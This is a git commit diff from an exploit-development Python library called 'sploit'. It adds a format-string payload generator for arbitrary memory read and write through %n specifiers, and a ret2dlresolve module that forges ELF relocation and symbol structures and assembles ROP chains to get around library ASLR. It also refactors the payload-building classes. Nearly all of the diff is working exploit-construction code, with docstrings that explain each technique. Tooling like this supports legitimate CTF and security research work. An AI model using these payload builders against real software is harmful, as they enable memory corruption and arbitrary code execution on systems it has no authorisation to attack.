diff options
author | Malfurious <m@lfurio.us> | 2024-02-20 12:44:35 -0500 |
---|---|---|
committer | Malfurious <m@lfurio.us> | 2024-05-19 18:00:19 -0400 |
commit | f4f37377df62b3a5d5685e23b261a534ef182006 (patch) | |
tree | d2d5ba0c27047aab26751725aaae70d51ca385de | |
parent | 68d9242bf17b2096230ca1f0081f9cad302f193c (diff) | |
download | sploit-f4f37377df62b3a5d5685e23b261a534ef182006.tar.gz sploit-f4f37377df62b3a5d5685e23b261a534ef182006.zip |
Squash changes
- Payload improvements
- Format string attack
- Ret2dlresolve attack
-rw-r--r-- | sploit/payload/__init__.py | 2 | ||||
-rw-r--r-- | sploit/payload/fmtstring.py | 178 | ||||
-rw-r--r-- | sploit/payload/payload.py | 53 | ||||
-rw-r--r-- | sploit/payload/payload_entry.py | 64 | ||||
-rw-r--r-- | sploit/payload/ret2dlresolve.py | 226 |
5 files changed, 482 insertions, 41 deletions
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py index d65b0f0..da47cc1 100644 --- a/sploit/payload/__init__.py +++ b/sploit/payload/__init__.py @@ -1,4 +1,6 @@ +from .fmtstring import * from .gadhint import * from .payload import * from .payload_entry import * +from .ret2dlresolve import * from .rop import * diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py new file mode 100644 index 0000000..54da6f2 --- /dev/null +++ b/sploit/payload/fmtstring.py @@ -0,0 +1,178 @@ +""" +Exploit C-style format string vulnerabilities + +These techniques leverage functions such as printf, fprintf, sprintf, etc. when +run on unchecked user input to perform arbitrary memory read or write. This is +made possible by the unintended use of user input as the function's format +string argument, instead of an ordinary data argument. Attackers may inject +their own conversion specifiers, which act as operating instructions to the +function. Interesting formatters include: + + %p Read argument value. These are the values of function argument + registers and values from the stack. The value is printed as + hexadecimal (with leading "0x") and interprets values as unsigned + long (aka, same size as arch.wordsize). + + %s Read memory as asciiz string. Prints the data pointed to by + argument value. + + %c Read argument as 8-bit character, printing the interpreted character + value. This formatter is useful in combination with a field width + specifier in order to print a controlled number of bytes to the + output, which is meaningful to the next formatter. + + %n Write memory as integer. Prints no output, but writes the number of + characters printed so far to the location pointed to by the argument + pointer. A length modifier will control the bit-width of the + integer written. + +See `man 3 printf` for more details. +""" + +from sploit.arch import arch, btoi, itob +from sploit.payload.payload import Payload +from sploit.payload.payload_entry import padalign, padrel + +_FMTSTR_MAGIC = b"\xcd" + +def _make_fmtstr_payload(): + # A typical layout will look like this: + # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe' + # ^ ^ ^ ^ ^ ^ + # fmt[0] fmt[1] nul | addrs[0] addrs[1] + # align + # + # Many examples found online will demo placing addresses at the front. Eg: + # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00' + # This has the benefit that %n positional values are simple to calculate + # (they just start at the payload position and increase by one). However, + # any NULL bytes in the addresses break the exploit, since printf will stop + # processing its string once a NULL is encountered. + # + # Moving addresses to the end mitigates this. Wordsize alignment is then + # necessary to give for valid argument positions. We also intentionally + # NULL terminate the format string portion of the payload to prevent printf + # from processing beyond formatters. + fp = Payload() + fp.fmt = Payload() + fp.null = b"\x00" + fp.align = padalign(arch.wordsize) + fp.addrs = Payload() + return fp + +def _fixup_positionals(fp, position, offset=None): + if offset is None: + offset = fp.addrs.base // arch.wordsize + + fixup = _make_fmtstr_payload() + fixup.addrs = fp.addrs + + for i, fmt in enumerate(fp.fmt): + pos = position + offset + i + fixup.fmt(fmt.decode().format(pos).encode()) + + # String formatting positional values may grow the format string so much + # as to cause the addrs offset to shift. Detect this and correct. + check = fixup.addrs.base // arch.wordsize + if offset != check: + return _fixup_positionals(fp, position, check) + + return fixup + +def fmtstr_dump(start=None, end=None): + """ + Return a format string payload which dumps annotated argument values. + + start (int): Starting argument position (default: 1) + end (int): Ending argument position (default: start + 20) + """ + if start is None: start = 1 + if end is None: end = start + 19 # inclusive, so 20 total arguments + + fp = Payload() + fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC) + fp.fmt = Payload() + fp.null = b"\x00" + + for pos in range(start, end+1): + if pos < len(arch.funcargs): + label = arch.funcargs[pos] + else: + offset = (pos - len(arch.funcargs)) * arch.wordsize + label = f"stack+{hex(offset)}" + + fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode()) + + return fp + +def fmtstr_get(*positions, join=" "): + """ + Return a format string payload which prints specific argument values. + + positions (*int): Argument positions + join (str): Delimiter string + """ + fp = Payload() + fp.fmt = Payload() + fp.null = join + + for p in positions: + fp.fmt(f"{join}%{p}$p".encode()) + + return fp + +def fmtstr_read(position, address): + """ + Return a format string payload which reads data (as string, via %s). + + position (int): printf positional offset of payload on stack. + address (int): Address of data to read. + """ + fp = _make_fmtstr_payload() + fp.fmt(b"%{}$s") + fp.addrs(address) + return _fixup_positionals(fp, position) + +def fmtstr_write(position, _data, _value=None): + """ + Return a format string payload which writes data. + + One option for calling this function is to give a write destination in _data + as an integer, and the value to write in _value. + + Alternatively, _data may contain a dictionary, with write destinations as + keys and contents to write as values. _value is ignored in this case. + + In either case, the contents to write is generally expected to be bytes. + However, integers are converted automatically via itob(). + + position (int): printf positional offset of payload on stack. + _data (int|dict{int:bytes}): Write data (see above) + _value (int|bytes): Write value (see above) + """ + # Convert from 2-argument style to dictionary. + if type(_data) is int: + _data = { _data: _value } + + pairs = {} + + # Collect each 2-byte word to write. + for addr, value in _data.items(): + value = itob(value) if type(value) is int else bytes(value) + words = [ value[i:i+2] for i in range(0, len(value), 2) ] + words = { addr+(i*2): btoi(w) for i, w in enumerate(words) } + pairs.update(words) + + fp = _make_fmtstr_payload() + prev = 0 + + # Craft writes. + for addr, word in sorted(pairs.items(), key=lambda x: x[1]): + diff = word - prev + prev = word + + size = "" if diff == 0 else f"%{diff}c" + fp.fmt(f"{size}%{{}}$hn".encode()) + fp.addrs(addr) + + return _fixup_positionals(fp, position) diff --git a/sploit/payload/payload.py b/sploit/payload/payload.py index a59eed2..2a9521f 100644 --- a/sploit/payload/payload.py +++ b/sploit/payload/payload.py @@ -84,6 +84,7 @@ class Payload(IndexTbl): """Return human-readable Payload.""" FMT = "\n{:<20} {:<20} {:<20}" s = f"{len(self.__entries__)} items, {len(self)} bytes @ {hex(self)}" + memo = {} if len(self.__entries__) > 0: s += FMT.format("ADDRESS", "SYMBOL", "DATA") @@ -93,8 +94,8 @@ class Payload(IndexTbl): key = "(unkeyed)" if key is None else str(key) key = f"[{key}]" if isinstance(value, IndexEntry) else key - addr = self.__addrof(i) - data = str(self.__bytesof(i)) + addr = self.__addrof(i, memo) + data = str(self.__bytesof(i, memo)) if len(data) > _REPR_DATA_LEN: data = data[:_REPR_DATA_LEN] + " ..." @@ -104,7 +105,8 @@ class Payload(IndexTbl): def __bytes__(self): """Return calculated payload bytes.""" - x = [ self.__bytesof(i) for i in range(len(self.__entries__)) ] + memo = {} + x = [ self.__bytesof(i, memo) for i in range(len(self.__entries__)) ] return b"".join(x) def __call__(self, *args): @@ -142,17 +144,19 @@ class Payload(IndexTbl): def __len__(self): """Return the size of the payload content in bytes.""" - return len(bytes(self)) + memo = {} + x = [ self.__lenof(i, memo) for i in range(len(self.__entries__)) ] + return sum(x) def __getindex__(self, index): """Return payload index value or address.""" - value, _ = self.__valueof(index) + value, _ = self.__valueof(index, {}) return value def __setindex__(self, index, value): """Set payload index value.""" try: - addr = self.__addrof(index) + addr = self.__addrof(index, {}) except KeyError: addr = self.end() value = self.__prep_insertion(value, addr) @@ -164,24 +168,36 @@ class Payload(IndexTbl): # Payload helpers - def __valueof(self, index): - """Return a tuple: (addr of value, literal value) for index.""" + def __valueof(self, index, memo): + """Return a tuple (addr of value, literal value) for index.""" value = self.__entries__[index] - addr = self.__addrof(index) + addr = self.__addrof(index, memo) if isinstance(value, IndexEntry): value @= addr return value, value return addr, value - def __addrof(self, index): + def __addrof(self, index, memo): """Return address (base + offset) for index.""" index = self.__entries__.key2idx(index) - sizes = [ len(self.__bytesof(i)) for i in range(index) ] - return self.base + sum(sizes) + try: + return memo[index] + except KeyError: + sizes = [ self.__lenof(i, memo) for i in range(index) ] + addr = self.base + sum(sizes) + memo[index] = addr + return addr + + def __lenof(self, index, memo): + """Return element length for index.""" + _, value = self.__valueof(index, memo) + if isinstance(value, PayloadEntry): + return value.payload_len(self) + return len(value) - def __bytesof(self, index): + def __bytesof(self, index, memo): """Return byte output for index.""" - _, value = self.__valueof(index) + _, value = self.__valueof(index, memo) if isinstance(value, PayloadEntry): return value.payload_bytes(self) return bytes(value) @@ -198,6 +214,11 @@ class Payload(IndexTbl): elif type(value) is int: value = itob(value) - # Confirm value has a functional conversion to bytes - bytes(value) + try: + # Confirm value supports our required operations + len(value) + bytes(value) + except TypeError as ex: + raise TypeError(f"Payload: Bad type {type(value)} given") from ex + return value diff --git a/sploit/payload/payload_entry.py b/sploit/payload/payload_entry.py index 7088f83..2f8dbdd 100644 --- a/sploit/payload/payload_entry.py +++ b/sploit/payload/payload_entry.py @@ -20,31 +20,44 @@ class PayloadEntry(IndexEntry): """ pass + def payload_len(self, payload): + """ + Called to compute size of this entry. + + Implement this method to calculate the length of this dynamic payload + entry. self.base is set to the current entry address or offset. + """ + raise NotImplementedError + def payload_bytes(self, payload): """ Called to generate bytes for this entry. - Override this method to generate and return the binary output for this - dynamic payload entry. self.base is set to the current entry address - or offset. + Implement this method to generate the binary output for this dynamic + payload entry. self.base is set to the current entry address or offset. """ - return b"" + raise NotImplementedError # Concrete payload entry definitions class pointer(PayloadEntry): - """Generate an integer which is always a fixed offset from self.base.""" + """Generate an integer which tracks the address of another payload field.""" - def __init__(self, target=None): + def __init__(self, target=None, math=None): self.target = target + self.math = math - def payload_insert(self, payload): - if self.target is None: - self.target = self.base - self.target -= self.base + def payload_len(self, payload): + return arch.wordsize def payload_bytes(self, payload): - return itob(self.target + self.base) + if self.target is None: + addr = self.base + else: + addr = payload[self.target] + if callable(self.math): + addr = self.math(addr) + return itob(addr) class padlen(PayloadEntry): """Generate padding to reach a target payload length.""" @@ -53,7 +66,11 @@ class padlen(PayloadEntry): self.size = size self.data = data - def _gen_padding(self, size): + def payload_len(self, payload): + return self.size - (self.base - payload.base) + + def payload_bytes(self, payload): + size = self.payload_len(payload) data = self.data or arch.nopcode if size < 0: raise ValueError("padding: Available space is negative") @@ -61,31 +78,29 @@ class padlen(PayloadEntry): raise ValueError("padding: Element does not divide the space evenly") return data * int(size) - def payload_bytes(self, payload): - return self._gen_padding(self.size - (self.base - payload.base)) - class padabs(padlen): """Generate padding to reach a target absolute address.""" - def payload_bytes(self, payload): - return self._gen_padding(self.size - self.base) + def payload_len(self, payload): + return self.size - self.base class padrel(padlen): """Generate a fixed length of padding (aka: length relative to self).""" - def payload_bytes(self, payload): - return self._gen_padding(self.size) + def payload_len(self, payload): + return self.size class padalign(padlen): """Generate padding to reach next aligned address.""" - def __init__(self, size=None, data=None): + def __init__(self, size=None, data=None, reference=0): self.size = size self.data = data + self.reference = reference - def payload_bytes(self, payload): + def payload_len(self, payload): size = self.size or arch.alignment - return self._gen_padding(-self.base % size) + return (self.reference - self.base) % size class placeholder(padlen): """Generate fixed length of magic bytes, one word length by default.""" @@ -94,6 +109,5 @@ class placeholder(padlen): self.size = size self.data = _PLACEHOLDER_MAGIC - def payload_bytes(self, payload): - size = self.size or arch.wordsize - return self._gen_padding(size) + def payload_len(self, payload): + return self.size or arch.wordsize diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py new file mode 100644 index 0000000..8862e22 --- /dev/null +++ b/sploit/payload/ret2dlresolve.py @@ -0,0 +1,226 @@ +""" +Perform "Return to dlresolve" dynamic linker attack + +The ret2dlresolve technique is useful to defeat library ASLR against targets +with partial relro (or less) and where no useable data leaks are available. +This is specifically a workaround for ASLR of libraries such as libc, and +addresses within the target executable are expected to be known (non-pic or +otherwise). + +When a dynamic library call is performed normally, applications jump to code +stubs in the .plt section to perform the actual relocation. This process relies +on a couple of meta-data structures in the ELF object: + +Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to +cache the real subroutine address for later calls, as well as an info field +describing the relocation. This info field contains a type subfield and an +index into the ELF's symbol table for the symbol to be relocated. + +Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the +exploit, only the symbol name field is utilized (the others are set to zeroes). +The name field is an offset into the ELF's string table, and the actual symbol +name string can be found at this offset. + +All of the data tables mentioned above are located by their corresponding +section in the ELF. The relocation process however does not perform any bounds +checks to ensure the runtime data structures actually come from these sections. +By forging custom structures, and ensuring they can be written into memory at +precise locations, an attacker can trick the resolver to link any library +function they desire by setting up the equivalent PLT function call via ROP. + +Read on for more background details: +http://phrack.org/issues/58/4.html +https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 + +Structure definitions from your standard elf.h header: + +typedef struct { + Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ + Elf32_Addr st_value; /* 4b Symbol value */ + Elf32_Word st_size; /* 4b Symbol size */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf32_Section st_shndx; /* 2b Section index */ +} Elf32_Sym; + +typedef struct { + Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf64_Section st_shndx; /* 2b Section index */ + Elf64_Addr st_value; /* 8b Symbol value */ + Elf64_Xword st_size; /* 8b Symbol size */ +} Elf64_Sym; + +typedef struct { + Elf32_Addr r_offset; /* 4b Address */ + Elf32_Word r_info; /* 4b Relocation type and symbol index */ +} Elf32_Rel; + +typedef struct { + Elf64_Addr r_offset; /* 8b Address */ + Elf64_Xword r_info; /* 8b Relocation type and symbol index */ +} Elf64_Rel; + +Elf32_Rel.r_info = 0xAAAAAABB + | | + | type + symidx + +Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB + | | + symidx type +""" + +from sploit.arch import arch, itob +from sploit.payload.gadhint import GadHint +from sploit.payload.payload import Payload +from sploit.payload.payload_entry import padalign, padlen, pointer +from sploit.payload.rop import ROP +from sploit.rev.r2 import run_cmd + +_JMP_SLOT = 0x07 + +def _symsize(): + # Size of Elf*_Sym, used for padding and indexing + if arch.wordsize == 4: return 16 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _relsize(): + # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) + if arch.wordsize == 4: return 1 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _infoshift(): + # Partition subfields of Elf*_Rel.r_info + if arch.wordsize == 4: return 8 + elif arch.wordsize == 8: return 32 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +class Ret2dlresolve(ROP): + # Use constructor from ROP class + + def reloc(self, symbol_name): + """ + Generate relocation structures for the function with given symbol name. + + The returned data structures are packed into a single Payload object. + This payload must be written into the target's memory before attempting + to use it with Ret2dlresolve.call(). Furthermore, the chosen write + location must be assigned to the payload base property, so that internal + pointers may take on the appropriate values. + + See Ret2dlresolve.determine_address() for advice on choosing a write + location. + + symbol_name (str): Name of library function to link + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + strtab = binary.sym.sect['.dynstr'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + # Elf*_Rel.r_info + info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT + + # The sym structure is the most picky about its location in memory. So + # it is listed first in the main dlres struct, which can be placed at + # the desired location. + sym = Payload() + sym.name = pointer("symbol_string", lambda x: x - strtab) + sym.pad = padlen(_symsize(), b"\x00") + sym.symbol_string = symbol_name + + dlres = Payload() + dlres.symalign = padalign(_symsize(), reference=symtab) + dlres.sym = sym + dlres.relalign = padalign(_relsize(), reference=jmprel) + dlres.offset = pointer() + dlres.info = pointer("sym", info) + return dlres + + def determine_address(self, start=None, end=None, n=0): + """ + Determine recommended address for relocation structures. + + There are a couple considerations to make when determining the memory + locations. First of all, the location must be writable. More + importantly, since most items are referred to by an array index, the + structures themselves must be properly aligned, reference to the array + origins. + + The payload returned from Ret2dlresolve.reloc() has some of these + alignments built in, but one crucial one is not. The index implied by + Elf*_Sym's offset from the symtab base is the same index used to lookup + symbol version information, reference to versym. The data at this index + must constitute a valid version half-word (16-bits). This function + attempts to ensure that the coincident version info for any returned + value is the data \x00\x00. Getting this wrong can cause the dlresolve + routine to crash. + + start (int): Minimum address to recommend (default: .bss section address) + end (int): Maximum address to recommend (default: end of memory page) + n (int): Return the Nth useable address within the defined range + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + versym = binary.sym.sect['.gnu.version'] + bss = binary.sym.sect['.bss'] + + if start is None: start = bss + if end is None: end = (start & ~0xfff) + 0x1000 + + zero_words = run_cmd(binary.path, "/x 0000") + zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] + + # Size of version entry is always 2 bytes. + veroff = [ x - versym for x in zero_words ] + idx = [ x//2 for x in veroff if x%2 == 0 ] + symoff = [ x * _symsize() for x in idx ] + addr = [ x + symtab for x in symoff ] + addr = [ x for x in addr if start <= x < end ] + + if len(addr) > n: + return addr[n] + + raise AssertionError("Ret2dlresolve: No suitable memory location") + + # Overrides ROP.call() + def call(self, reloc, *params): + """ + Return a ROP payload to call function via dynamic linker. + + reloc's base address must be set appropriately. + + reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() + *params (int): Remaining positional args are passed to function. + """ + binary = self.objects[0] + plt = binary.sym.sect['.plt'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + register_params = dict(zip(arch.funcargs, params)) + stack_params = params[len(register_params):] + index = int(reloc.offset - jmprel) // _relsize() + + reqs = GadHint(requirements=register_params) + call = GadHint(index, stack=stack_params) + ret = GadHint(self.search_gadget(arch.ret)) + + chain = Payload() + try: chain.requirements = self.gadget(reqs).requirements + except KeyError: pass + chain.alignment = padalign(0, itob(ret)) + chain.plt = plt + chain.call = self.gadget(call) + return chain |